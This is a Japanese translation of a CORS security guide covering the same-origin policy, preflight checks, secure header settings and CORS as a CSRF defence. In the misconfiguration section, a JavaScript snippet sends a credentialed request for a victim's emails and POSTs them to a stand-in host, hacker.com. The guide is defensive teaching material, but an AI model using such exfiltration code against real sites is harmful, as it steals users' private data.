2025年1月24日
CORSガイドの決定版
(2024-6-3)by Devsecurely
本記事は、原著者の許諾のもとに翻訳・掲載しております。
無垢な仔猫の写真を集めたウェブサイトを訪問したと想像してみてください。かわいい仔猫達の写真の背後には、このウェブサイトの強大な力が隠れています。誰かがウェブサイトにアクセスすると、サイトのオーナーはその訪問者のネット上の行動に関するあらゆる情報を入手できます。その中には、銀行取引情報、SNS上の投稿やメッセージ、メール、オンラインの購買データなどが含まれます。あなたが受ける信用面や金銭面の損害はどれほどのものになるでしょうか。あなたのメッセージが流出し、銀行口座のお金が使い込まれるかもしれません。しかし幸いなことに、実際にはそのような状況は起こりません。それは、SOPとCORSのお陰なのです。
目次
- Ajax(Asynchronous JavaScript And XML)
- インターネットがジャングルではない理由
- 認証情報を「含める」vs「含めない」
- CORSルールの定義
- クロスオリジンリクエストの処理
- リクエストするか否か
- アクセスを許可するか拒否するか
- CORSポリシーのチェック
- CORSポリシーの誤設定による危険
- デモ
- 安全なCORSポリシーを定義する方法
- CSRF対策としてのCORS設定
- 設定ミスで墓穴を掘らない
Ajax(Asynchronous JavaScript And XML)
少し前の技術になりますが、皆さんがよくご存知のAjaxについてまずお話します。Ajaxとは、ブラウザがバックグラウンドでリクエストを送信できるようにするためのJavaScriptの仕組みです。ウェブサイトのクライアントサイドアプリケーションでは、一般的にAjaxを使用してAPIサーバーに情報をリクエストします。Ajaxはクライアント側で実行されます。つまり、ユーザーがウェブサイトにアクセスする際、ブラウザがAjaxリクエストを送信するということです。この記事では、ボブという名前のインターネットユーザーの事例を検討してみましょう。
example.comというウェブサイトにリクエストを送信する際、Ajaxに「認証情報を使用する」よう伝えることができます。この場合、ブラウザはボブがexample.com
に関するCookieを保存しているかチェックします。保存している場合、ブラウザはAjaxリクエストによりCookieを送信します。ボブがexample.com上で認証されれば、ウェブサイトはボブを認識します。ブラウザはボブのIDでAjaxリクエストを送信します。
インターネットがジャングルではない理由
あなたがサイバーセキュリティに熱心であれば、ある疑問が思い浮かんだかもしれません。すなわち、もし自分が悪意のあるウェブサイトを作成したならば、認証情報を含めてGmailのウェブサイトにAjaxリクエストを送信し、訪問者のメールをすべて取得すればよいのではないか、という疑問です。
この疑問が浮かんだ方は、悪の才能があるかもしれません。ですが、その企みはうまく行きません。SOPとCORSという2つの仕組みがあるからです。
SOPはSame Origin Policyの略で、「同一オリジンポリシー」という意味です。この仕組みは、ウェブサイトAがオリジンの異なるウェブサイトBのリソースを読み込めないようにするものです。SOPは、ウェブサイトとサイト上に保存されたユーザーのデータが、悪意のあるウェブサイトによってアクセスされないよう保護します。
CORSはCross-Origin Resource Sharingの略で、「オリジン間リソース共有」という意味です。CORSは、SOPの仕組みに例外を追加できる一連のルールです。SOPのポリシーを緩めることで、ウェブサイトAがオリジンの異なるウェブサイトBからリソースを読み込めるようにします。
ウェブサイトのオリジンは、ドメイン、プロトコルスキーム、ネットワークポートの組み合わせです。2つのURLの間でこれらのいずれかが異なる場合、ブラウザはオリジンが異なるとみなします。https://www.devsecurely.com/を例に見てみましょう。このウェブサイトが以下のいずれかのウェブサイトにAjaxリクエストを送信した場合、ブラウザはクロスオリジン(異なるオリジン)とみなします。
- http://www.devsecurely.com/
- https://api.devsecurely.com/
- https://www.gmail.com/
- https://www.devsecurely.com:8443/
ウェブサイトがオリジンの異なるURLにHTTPリクエストを送信した場合、このリクエストはクロスオリジンリクエストとみなされます。同一オリジンリクエストとは扱いが異なります。クロスオリジンリクエストの扱い方に関するルールは複雑です。この記事では、すべての要素とルールを見ていきます。準備はいいですか?
認証情報を「含める」vs「含めない」
まずは認証情報を使用するか否かでAjaxリクエストにどのような影響があるのか見てみましょう。明確化のため、https://hacker.com
からhttps://gmail.com
にAjaxリクエストを送信する例について検討します。
「認証情報を含める」は、Ajaxで有効化できるオプションです。ブラウザに対し、Gmail上のユーザーのCookieをAjaxリクエストに含めるよう指示します。そうすることで、Gmailはボブのブラウザから送られたリクエストであると分かります。レスポンスには、ボブのGmailアカウントに関連する情報が含まれます。例えば、https://gmail.com/emails
に対してAjaxリクエストを送ると、レスポンスにはボブのメールが含まれます。
これは危険なシナリオです。どのウェブサイトでもAjaxリクエストを送ることで訪問者のメールを取得することが出来たなら、インターネットは野生のジャングルのようになってしまうでしょう。インターネットプロトコルを設計したエンジニアたちが、そうならないようにしたのです。
一方で、「認証情報を含める」を有効化しなかった場合、AjaxリクエストにはCookieは含まれません。Gmailのウェブサイトは、ボブが別のブラウザタブでGmailアカウントにログインしていたとしても、ボブのブラウザを匿名のユーザーとして扱います。したがって、Ajaxリクエストに対するレスポンスには、一切個人情報は含まれません。
CORSルールの定義
ブラウザは、ウェブサイトAからウェブサイトBにAjaxリクエストを送る際、ウェブサイトBのCORSルールを参照し、どのように振る舞うかを判断します。ブラウザが従うCORSルールを定義するのはウェブサーバーBです。これらのルールは、特定のHTTPレスポンスヘッダー内で定義されます。最も重要なヘッダーはAccess-Control-Allow-OriginとAccess-Control-Allow-Credentialsです。それぞれの役割と取り得る値については後ほど説明します。
クロスオリジンリクエストの処理
あるウェブサイトが別のウェブサイトにAjaxリクエストを行った場合(クロスオリジンリクエスト)、ブラウザはCORSポリシーを確認し、Ajaxリクエストの扱い方を判断します。 ブラウザは次の2つについて判断する必要があります。
- JavaScriptコードで定義されているようにHTTPリクエストを行うべきか?
- ブラウザがリクエストを行った場合、JavaScriptコードがレスポンスにアクセスできるようにするべきか? これら2つのステップを掘り下げて見てみましょう。
リクエストするか否か
一部のAjaxの設定の仕方によっては、、ブラウザはCORSポリシーをチェックせずにリクエストを行います。そうでない場合は、ブラウザはCORSポリシーをチェックした上でリクエストを行うか否かを判断する必要があります。後者の場合、ブラウザはまずHTTP OPTIONSリクエストをURLに対して行い、CORSポリシーを取得します。これをプリフライトリクエストと言います。
ブラウザがどのようにしてCORSポリシーチェックを行うかは後ほど説明します。ここでは、ウィキペディアにある以下のデシジョンツリー(決定木)を見てみましょう。ブラウザがリクエストを行う前にCORSポリシーをチェックする際の条件が説明されています。 CORSチェックなしでブラウザがリクエストを行う条件を以下に挙げます。
- AjaxリクエストがGETリクエストであり、カスタムHTTPヘッダーがない。
- AjaxリクエストがPOSTリクエストであり、標準のContent-Typeで、カスタムHTTPヘッダーがない。
ブラウザはなぜCORSポリシーをチェックせずにこれらのリクエストを行うのでしょうか。それは、これらがAjaxを使わずにウェブサイトが実行できるリクエストだからです。
- カスタムHTTPヘッダーのないGETリクエストは、HTMLのimgタグまたはiframeタグを使用してトリガーできます。src属性の中でターゲットURLを宣言するだけです。ページをレンダリングする際、ブラウザがURLに対して認証情報を含むGETリクエストを行い、リソースを読み込みます。
- HTMLのformタグを使用し、カスタムHTTPヘッダーなしで、標準のContent-TypeによりPOSTリクエストをトリガーできます。POST属性はすべてHTMLのinputタグを使用して追加でき、JavaScriptを使用してフォームを送信し、リクエストを実行できます。
他のすべてのシナリオでは、ブラウザはプリフライトリクエストを行います。次にCORSポリシーをチェックし、リクエストを送信するか判断します。
- HTTPのPUT、DELETEまたはその他のリクエスト
- HTTPのPOSTリクエストで、application/jsonなど標準以外のContent-Typeを使用
- HTTPのGETまたはPOSTリクエストで、X-Requested-With: XMLHttpRequestなどのカスタムHTTPヘッダーを使用
アクセスを許可するか拒否するか
ブラウザは、Ajaxリクエストを行う場合、JavaScriptコードがレスポンスにアクセスできるようにするか判断する必要があります。ブラウザはレスポンスからCORSポリシーを取得し、AjaxリクエストがCORSポリシーと一致するか確認します。 一致する場合、JavaScriptコードはレスポンスにアクセスできます。一致しない場合、JavaScriptコードはレスポンスにアクセスできず、JavaScriptコンソールにエラーメッセージが表示されます。 次のセクションでは、CORSポリシーのチェックプロセスについて説明します。
CORSポリシーのチェック
要約すると、ブラウザは以下の2つのケースでCORSポリシーをチェックします。
- 標準以外のHTTPリクエストを送信する前。
- レスポンスへのアクセスを許可するかどうか判断する前。
ブラウザは以下の要素をチェックします。
- ブラウザはAccess-Control-Allow-Originレスポンスヘッダーの値を取得します。値はAjaxリクエストを行ったウェブサイトのオリジンと一致しなくてはいけません。オリジンの形式は「schema://fqdn:port」です。
- Access-Control-Allow-Originレスポンスヘッダーがない場合、チェックは失敗します。
- 実は、Access-Control-Allow-Originヘッダーにワイルドカード文字の「*」が指定されている場合もチェックは失敗します。
- 「認証情報を含めて」リクエストを行う場合: Access-Control-Allow-Credentialsレスポンスヘッダーがあり、値は「true」が設定されている必要があります。
- カスタムHTTPヘッダーを1つ以上設定してAjaxリクエストを行う場合:ブラウザはAccess-Control-Allow-Headersレスポンスヘッダーの値を取得します。このヘッダーの値には、リクエストで使用されたカスタムHTTPヘッダーがすべて含まれている必要があります。
- AjaxリクエストタイプがGET、POST、HEADのいずれでもない場合:ブラウザはAccess-Control-Allow-Methodsレスポンスヘッダーの値を取得します。値には、Ajaxクエリによって定義されたHTTPリクエストタイプが含まれている必要があります。
これらの条件のいずれかが満たされていない場合、CORSポリシーのチェック全体が失敗して以下の結果となります。 ブラウザがリクエストを行う前にCORSチェックを実行する場合、リクエストを送信しません。 ブラウザがリクエストを行った後でCORSチェックを実行する場合、JavaScriptコードはレスポンスにアクセスできません。
以下の図はCORSのデシジョンツリーをまとめたものです。
CORSポリシーの誤設定による危険
ブラウザのメンテナーがユーザーを保護するためにCORSの仕組みを設計しました。ユーザーがうっかり悪意のあるウェブサイトにアクセスしてしまうかもしれないからです。優れたCORSポリシーは、悪意のあるウェブサイトがユーザーのIDを使ってあなたのウェブサイトにHTTPリクエストを送信できないようにします。
CORSポリシーは、HTTPレスポンスヘッダーを用いて定義されます。したがって、デベロッパーには他のオリジンからの悪意のあるリクエストを防ぐことができる、十分厳格なCORSポリシーを定義することが求められます。
CORSは、Cookie(セッションCookieなど)を使用してユーザー認証を行うウェブサイトに特に関係します。これは、「認証情報を含める」Ajax設定の場合、ブラウザが自動的にCookieをリクエストとともに送信するからです。そうすると、リクエストは正当なユーザーから届いたように見えます。
では、他の認証方法を使用する場合はどうでしょうか。例えば、HTTPの「Authorization」ヘッダーで認証トークンを送信するとします。その場合、CORSポリシーはあまり関係ありません。悪意のあるウェブサイトがAjaxリクエストを行っても、ブラウザはリクエストにトークンを追加しません。そのため、悪意のあるウェブサイトは正規のウェブサイトのローカルストレージにアクセスできません。トークンにアクセスできないため、Ajaxのリクエストに含めることができません。あなたのウェブサイトは、何もせずともこの攻撃シナリオからは保護されます。
Cookieによる認証の場合、CORSポリシーが甘いと悪いことが起こる可能性があります。ユーザーが悪意のあるウェブサイトにアクセスした際、以下のような攻撃シナリオが考えられます。
- 悪意のあるウェブサイトがAjaxリクエストを行い、Gmail上のユーザーのメールを取得します。次にJavaScriptコードがそれらのメールをウェブサイトを作成したハッカーに送ります。
- 悪意のあるウェブサイトは、Gmailに対して特定のHTTP POSTリクエストを行うことができます。このリクエストはユーザーの設定を変え、ハッカーが被害者であるユーザーの名前でメールを送信できるようにします。 悪意のあるウェブサイトは、Gmailに対して特定のHTTP POSTリクエストを行い、被害者のパスワードを変更することができます。
以下のJavaScriptコードのスニペットは、攻撃者がどのようにして被害者のメールを取得し、自分のサーバーに送信するのかを示します。取得したメールはサーバーに保存し、後で参照することができます。
var xhr = new XMLHttpRequest()
xhr.open( 'GET', 'https://gmail.com/emails')
xhr.withCredentials = true
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhr2 = new XMLHttpRequest()
xhr2.open( 'POST', 'https://hacker.com/save_emails')
var params = 'emails='+xhttp.responseText;
xhr2.send(params);
}
};
xhr.send();
以下はこのシナリオをイラストで表したものです。 ここで紹介した例は単に説明を目的としたものです。Gmailにはそのような攻撃を防ぐ優れたCORSポリシーがあります。実際に効果を見ていただけるよう、例としてウェブサイトを作成してみました。
デモ
この攻撃について説明するため、シンプルで脆弱なウェブサイトを作成しました。このデモサイトは、認証が必要なウェブアプリケーションをシミュレーションします。まず、次のURLにアクセスし、ボタンをクリックしてログインしてください。https://demo.devsecurely.com/demo_cors
ログインしたら、以下のボタンをクリックしてください。先ほどのURLに対し、認証情報を含めたAjaxリクエストが送信されます。
(※訳注:POSTDでは文章の翻訳のみ掲載しています)
[原文:「攻撃開始」ボタン]
Ajaxリクエストの結果が以下に表示されます。
[原文:結果表示エリア]
手順に従うと、あなたのパブリックIPアドレスが上に表示されるはずです。「攻撃開始」ボタンをクリックしたとき、あなたのブラウザは以下のJavaScriptコードを実行しました。
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
if (this.responseText.includes("Your IP address"))
document.getElementById("demo_website_dontent").textContent=this.responseText
else
document.getElementById("demo_website_dontent").textContent="You need to be authenticated first"
}
};
xhttp.open("GET", "https://demo.devsecurely.com/demo_cors", true);
xhttp.withCredentials = true;
xhttp.send();
あなたのブラウザは、HTTPリクエストを直接実行するか、プリフライトリクエストを実行し、CORSポリシーをチェックするかを判断する必要がありました。これは単純なGETリクエストで、カスタムHTTPヘッダーもないのでブラウザは直接リクエストを行いました。こちらが、あなたのブラウザが送信した生のHTTPリクエストです。
これに対し、脆弱なウェブサイトは以下のレスポンスを送り返しました。
次に、ブラウザはJavaScriptコードがレスポンスにアクセスできるようにするかを判断する必要がありました。したがって、CORSポリシーのチェックを行いました。4つの条件をすべて見てみましょう。
- Access-Control-Allow-Originヘッダーの値には「 https://www.devsecurely.com 」が設定されています。これは、Ajaxリクエストを行ったのと同じオリジンです。✅
- リクエストは認証情報ありで行い、レスポンスにはAccess-Control-Allow-Credentialsヘッダーが存在し、値は「true」です。✅
- リクエストはカスタムHTTPヘッダーを使用していません。そのため、ブラウザはAccess-Control-Allow-Headersヘッダーをチェックしません。✅
- リクエストはGETリクエストを実行します。そのため、ブラウザはAccess-Control-Allow-Methodsヘッダーをチェックしません。✅
CORSのチェックはすべて成功しました。したがって、ブラウザはJavaScriptがレスポンスにアクセスするのを許可します。これにより、このブログが脆弱なウェブサイト上にあるあなたの個人データにアクセスすることが可能になります。
安全なCORSポリシーを定義する方法
CORSポリシーは、特定のHTTPレスポンスヘッダーによって定義されます。各ヘッダーについて、値が十分に厳格であり、悪意のある活動を防げることを確認する必要があります。また、ポリシーが正当なリクエストをブロックしないようにする必要もあります。各レスポンスヘッダーの値を定義しましょう。
- Access-Control-Allow-Origin:このヘッダーの値は、ウェブサイトの呼び出しを許可されたオリジンでなくてはいけません。例えば、
https://api.example.com
にホストされたAPIがあり、そのAPIを呼び出す、https://www.example.com
にホストされたクライアントサイドアプリケーションがあるとします。このシナリオでは、Access-Control-Allow-Originヘッダーには常にhttps://www.example.com
が値として設定されている必要があります。- 複数のウェブサイトがあなたのウェブサイトを呼び出せるようにする必要がある場合、許可されたウェブサイトのホワイトリストを定義する必要があります。すべてのリクエストに対して、Originリクエストヘッダーにホワイトリスト上のオリジンが含まれているかどうか確認します。
- 含まれている場合、Originリクエストヘッダーの値をAccess-Control-Allow-Originレスポンスヘッダーの値として返します。
- 含まれていない場合、Access-Control-Allow-Originヘッダーのデフォルト値を返します。
- 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合(例えば、ウェブサイト全体が
https://www.example.com
にホストされている場合など)、このヘッダーは定義しません。
- 複数のウェブサイトがあなたのウェブサイトを呼び出せるようにする必要がある場合、許可されたウェブサイトのホワイトリストを定義する必要があります。すべてのリクエストに対して、Originリクエストヘッダーにホワイトリスト上のオリジンが含まれているかどうか確認します。
- Access-Control-Allow-Credentials:あなたのウェブサイトがCookie(セッションCookieなど)を使用してユーザーを認証する場合、このヘッダーの値は「true」に設定します。
- 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合、このヘッダーは定義しません。
- Access-Control-Allow-Headers:リクエストにカスタムHTTPヘッダーを含める必要がある場合、このレスポンスヘッダーに追加してください。複数のHTTPヘッダーが必要な場合、カンマ区切りリストとして追加してください。
- 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合、このヘッダーは定義しません。
- Access-Control-Allow-Methods:あなたのウェブサイトがPUTまたはDELETE HTTPメソッドを扱う場合、このヘッダーにカンマ区切りリストとして追加してください。
- 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合、このヘッダーは定義しません。
プリフライトリクエスト(HTTP OPTIONSリクエスト)を受け取った場合、レスポンスヘッダーのみを返し、それ以外の処理は行わないようにする必要があります。
また、これらの変更は徐々に行ってください。各変更を行った後、ウェブサイトが正常に動作していることを確認してください。CORSの設定を厳しくしすぎると、あなたのAPI/ウェブサイト(ウェブサイトのクライアントサイドアプリケーションなど)を呼び出すクライアント側で問題が発生する可能性があります。
CSRF対策としてのCORS設定
先ほど説明したように、ブラウザはCORSポリシーをチェックすることなくリクエストを実行する場合があります。これは、アプリケーションのコンテキストによっては望ましくない可能性があります。
例えば、データを変更するGET APIコントローラーがあるとします。これは、CSRFと呼ばれる攻撃につながる可能性があります。この記事では、このタイプの脆弱性についての詳細な説明は省きますが、この問題についてより具体的に検討するために例を挙げたいと思います。
APIエンドポイントとしてhttps://api.example.com/users/delete/[ID]
があるとします。このエンドポイントに対してGETリクエストを行うと、[ID]をIDとするユーザーがデータベースから削除されます。悪意のあるウェブサイトはこれを悪用する可能性があります。先ほどのURLに対し、認証情報を含めたAjaxリクエストを行うことができます。example.com
の管理者がその悪意のあるウェブサイトにアクセスすると、Ajaxリクエストが実行され、ユーザーが削除されます。
こうした攻撃を防ぐための回避策として、CORSチェックを使用できます。そのためには、リクエストを行う前にCORSチェックを強制する必要があります。GETリクエストの場合、それを行う唯一の方法はカスタムHTTPヘッダーを追加することです。以下に手順を示します。
- クライアントサイドアプリケーションで、該当するリクエストにカスタムHTTPヘッダーを追加します(あなたのAPIに対して行われるすべてのリクエストにこのヘッダーを追加してもいいかもしれません)。ヘッダーの名前と値は任意で構いません。ここでは例として「X-Requested-With: XMLHttpRequest」をヘッダーとします。
- API側では、新しいヘッダー(X-Requested-With)が各リクエストに存在することを必ず確認するような設定にします。存在しない場合はリクエストを中断し、エラーメッセージを返します。
先ほどのように悪意のあるウェブサイトがユーザーを削除したい場合、AjaxリクエストにカスタムHTTPヘッダーとしてX-Requested-Withを追加する必要があります。そうすることで、あなたのAPIサーバーに対してプリフライトリクエストがトリガーされます。あなたのCORSポリシーが最適な方法で定義されていれば、Access-Control-Allow-Originレスポンスヘッダーに悪意のあるウェブサイトの名前は含まれません。したがって、CORSチェックは失敗し、ブラウザはリクエストを実行しません。
このトリックは、GETとPOST両方のエンドポイントをCSRF攻撃から守ることができます。
ちなみに、GETリクエストを使用してアプリケーションに変更を加えるのは避けるべきです。GETはあくまでもデータを取得するためだけに使用するべきであり、データを変更するために使用するべきではありません。
設定ミスで墓穴を掘らない
SOPの仕組みは、最初からクロスオリジンリクエストを防ぐようになっています。したがって、脆弱なCORSポリシーを定義することで自らのウェブサイトを危険な状態に晒すことのないようにしましょう。
アプリケーションの機密性の高さによっては、CORSの設定ミスにより壊滅的な被害を受ける可能性があります。数年前、ある取引プラットフォームの侵入テストを行った際、ウェブサイトのCORSポリシーが非常に甘いことに気づきました。リスクを示すため、サイトの訪問者に特定の株を強制的に買わせる悪意のあるウェブサイトを作成しました。攻撃者はこれを使って顧客に特定の株を強制的に買わせることで、株価を吊り上げることができます。この問題をうまく悪用すれば、億万長者になれます。
犯罪は割りに合わないと言う人たちは、きっとCORSを理解していないのでしょう。
タグ付けされた記事:checklist, CORS, web application security
株式会社リクルート プロダクト統括本部 プロダクト開発統括室 グループマネジャー 株式会社ニジボックス デベロップメント室 室長 Node.js 日本ユーザーグループ代表
- Twitter: @yosuke_furukawa
- Github: yosuke-furukawa